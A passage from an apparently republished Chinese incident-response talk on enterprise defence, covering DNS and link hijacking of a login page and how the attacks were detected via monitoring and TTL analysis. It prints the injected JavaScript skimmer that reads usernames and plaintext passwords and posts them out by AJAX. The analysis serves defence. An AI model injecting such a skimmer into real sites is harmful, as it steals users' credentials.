“企業應急響應和反滲透”之真實案例分析

2015-08-26 14:20:04 大云網　點擊量：評論 (0)

峰會上講過的議題，整理成文章，以供大家批評指正。對于企業應急響應，我想只要從事安全工作的同學都有接觸，我也一樣，在甲方乙方工作的這幾年，處理過不少應急響應的事件，但是每個人都會有自己做事的方法，在

0x06 案例之永無止境的劫持

對于劫持我想大家都不陌生，我們在生活中比較常見到的就是運營商在頁面中插入廣告等代碼，這種就是一種劫持攻擊。

回到案例本身，我們的一個業務先后出現多次多種手段的劫持攻擊，一次是 dns 劫持，把業務的域名劫持到 61.* 這個 ip 上，另外一次是鏈路劫持，替換服務器返回給用戶的 http 響應內容，這兩次的目的都一樣就是在登錄口添加 js 代碼，用于竊取用戶的用戶名和明文密碼。我們另外一個業務也遭受鏈路劫持，直接替換客戶投放的廣告代碼，給業務造成很大的經濟損失。

下面兩個圖是我們業務監控系統和基調的截圖，上面的圖可以很明顯看到在 9:30 用戶登錄成功數明顯下降，持續不到一個小時，下圖是全國部分地區基調的數據，可以看到域名被明顯劫持到 61 這個 ip，這是一次典型的 DNS 攻擊。

頁面中被插入的攻擊核心代碼

//獲取用戶名和密碼
function ffCheck() {
try {
try {
var u = null != f ? f.idInput.value : document.getElementById("idInput").value;
} catch (e) {
var u = (document.getElementById("idInput").innerHTML).replace(/\s/g, "");
}
var p = null != f ? f.pwdInput.value : document.getElementById("pwdInput").value;
if (u.indexOf("@") == -1) u += "@xxx.com";
try {
if (u.indexOf("@") == -1) uu = u + getdomain();
} catch (e) {}
sendurl("/abc", u, p, "coremail");
} catch (e) {}
return fOnSubmit();
}
通過 ajax 發送出去
function sendurl(uri, u, p, i) {
xmlHttp = GetXmlHttpObject();
if (xmlHttp == null) {
return;
}
param = "user=" + u + "&pass=" + p + "&icp=" + i;
xmlHttp.onreadystatechange = stateChanged;
try {
xmlHttp.open("POST", uri + "?t=" + (new Date()).valueOf(), true);
} catch (e) {}
xmlHttp.setRequestHeader("If-Modified-Since", "0");
xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlHttp.send(param);
}

接下來看下面兩張圖片

這是一次典型的鏈路劫持攻擊，通過 ttl 就能夠判斷，攻擊的結果和前面提到的 dns 劫持攻擊類似，插入惡意 js 代碼來獲取用戶的用戶名和密碼。

對于劫持攻擊的處理過程，首先是判斷是什么攻擊，對于鏈路劫持目前的鏈路劫持好像大部分都是旁路的攻擊方式，就可以通過 ttl 來定位，默認的 ttl 值很好判斷，如果可以修改的 ttl 值，可以通過遞增或者遞減 ttl 的方式來判斷，dns 劫持就是判斷攻擊方式是什么，哪些 dns 受影響，劫持的 ip 是什么運營商，劫持后做了什么事情。

其次是解決攻擊，一般根據劫持的情況去聯系運營商，聯系有關部門等，但是然并卵，有的功能投訴很有效，比如劫持廣告代碼，有的攻擊則沒有任何作用，比如注入 js 代碼獲取用戶名和密碼。

其實我們能做的畢竟有限，完善監控，當劫持發生的時候能夠第一時間獲知，甚至提醒用戶當前環境有劫持的風險，對部分業務使用 https，但是我覺得都不能根治這些問題。怎么才能解決劫持問題，我沒有好的解決方案，在這里我把這類案例分享出來是希望能夠和各位進一步探討。

0x07 總結

總結這里我就不打算寫太多，我覺得有幾個大的方向作為指導：

從業務角度，保障業務肯定是應急響應的前提;

從對抗角度，知己知彼百戰不殆;

從技術角度，只有更多的了解攻擊才能更好的做到防御;